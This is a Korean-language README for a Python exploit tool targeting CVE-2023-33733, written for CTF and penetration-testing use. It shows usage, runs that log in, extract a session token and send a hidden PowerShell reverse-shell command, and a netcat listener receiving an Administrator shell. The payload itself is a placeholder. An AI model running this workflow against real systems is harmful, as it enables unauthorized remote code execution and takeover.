
CVE-2023-33733을 대상으로 하는 웹 애플리케이션용 Python 익스플로잇 스크립트. 침투 테스트 및 CTF 환경을 위해 인증, 세션 추출 및 리버스 셸 전달을 자동화합니다.
저는 이 취약점을 발견한 사람이 아니며, 그에 대한 공로를 인정하지 않습니다. 이는 CTF를 위해 이 취약점을 보다 쉽게 악용하기 위해 제가 작성한 스크립트일 뿐입니다. 원본 정보는 다음을 참고하세요: https://github.com/c53elyas/CVE-2023-33733
이 스크립트는 CVE-2023-33733을 악용하기 위한 간단한 Python3 스크립트입니다. 호스트, 포트, 명령어 및 유효한 세션 쿠키를 제공해야 합니다.
kali@kali:~/Desktop$ python3 exp.py --help
usage: foothold.py [-h] --host HOST --port PORT --cmd CMD --session SESSION
options:
-h, --help show this help message and exit
--host HOST
--port PORT, -p PORT
--cmd CMD, -c CMD
--username USERNAME, -u USERNAME
--password PASSWORD, -ps PASSWORD
--session SESSION, --cookie SESSION, -sc SESSION
Session cookie
kali@kali:~/Desktop$ python3 exp.py --host "vuln.server" --port 80 --cmd "powershell -nop -w hidden -e <your revshell code here>" --username "<your username here>" --password "<your password here>"
[*] Logging in to http://vuln.server:80
Retreived session cookie: SESSION=...
[*] Extracting session token...
[*] Token extracted: .abc.xyz
[*] Building Exploit...
[*] Exploit built
[*] Preparing request
[*] Sending request to http://vuln.server:80/leaveRequest
[*] Sending a reverse shell should cause request to hang
[*] Request sent
[*] Probable success. Status Code 504
kali@kali:~/Desktop$ python3 exp.py --host "vuln.server" --port 80 --cmd "powershell -nop -w hidden -e <your revshell code here>" --session "<your cookie here>"
[*] Building Exploit...
[*] Exploit built
[*] Preparing request
[*] Sending request to http://vuln.server:80/leaveRequest
[*] Sending a reverse shell should cause request to hang
[*] Request sent
[*] Probable success. Status Code 500
kali@kali:~/Desktop$ nc -lnvp 9001
connect to [10.10.10.2] from (UNKNOWN) [10.10.10.1] 50246
whoami
Administrator